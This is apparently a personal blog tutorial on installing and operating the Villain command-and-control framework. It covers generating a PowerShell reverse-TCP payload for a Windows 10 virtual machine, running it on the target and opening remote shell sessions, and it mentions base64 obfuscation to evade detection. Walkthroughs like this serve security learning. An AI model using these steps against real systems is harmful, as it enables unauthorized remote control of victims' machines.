Villain Reverse TCP

 Villain is C2 frame work that can handle multiple reverse TCP and HoaxShell-based shells.

Notes:

Platform: Debian/Linux based OS 

Reverse TCP : Reverse TCP is where guest establish connection with threat Actors, when host is set to listen.

C2 (Command and control) framework: C2 framework is set of tools and protocols used by Threat Actors to maintain communication with victim machine

 

Download instructions:

run below command to download Villain, Once Download is complete, process will create folder either in current folder or home/folder

#git clone https://github.com/t3l3machus/Villain.git

Installation: 

first change directory to Villain if not already there, 2nd step is to run command to install

1st. #cd ~/Villain

2nd. #pip install -r requirement.txt 

Executing Villain:

now to run villain there is python script Villain.py, we will use python3 to run it.

#python3 Villain.py

 

To get to know this tool:

 Now we use "help" command to see more options.

>help

 We can get more details on options by using help and subsequent option

>help generate

>help connect

 

Setting up payload:

let us generate payload for Windows 10 virtual machine

>generate os=windows/reverse_tcp/powershell_v2 lhost=eth0

. copy output

Payload Deployment:

target machine in order for it to start reverse_tcp we need to run powershell script we copied in power shell

. on windows machine run powershell

    .. paste copied powershell script and press enter

we are all set for target machine.

connecting host with target: 

We need session id in order for us to establish connection with host

first list available sessions 

>sessions

Once all the sessions are listed copy desired session ID to connect and run it as below to open shell session

 >shell (session ID)

 to test we can run systeminfo command

 

Villain can be installed on multiple OS and all can connect with shell sessions

 

• We can coonect to another villain server by just the ip address of villain server we are trying to connect at port configured
• when we run villain we can see Core server listening on 0.0.0.0:65001
• 0.0.0.0 ip address represent any IP
• so we can connect with Villain server with below command
• :connect (IP Address of villain server we are trying to connect):65001
• on other villain server passcode we need to paste and enter within 10se
• once connected we can run
• siblings command to see other villains
• now back to generating payloads, payload can be obfuscated in order to evade detection obfuscation is based on base64

Back to MainPage                                                                         Home Page

_____________________________________________________________________________________

Omer.

omerfarooqtech.github.io

linkedin.com/in/O-Farooq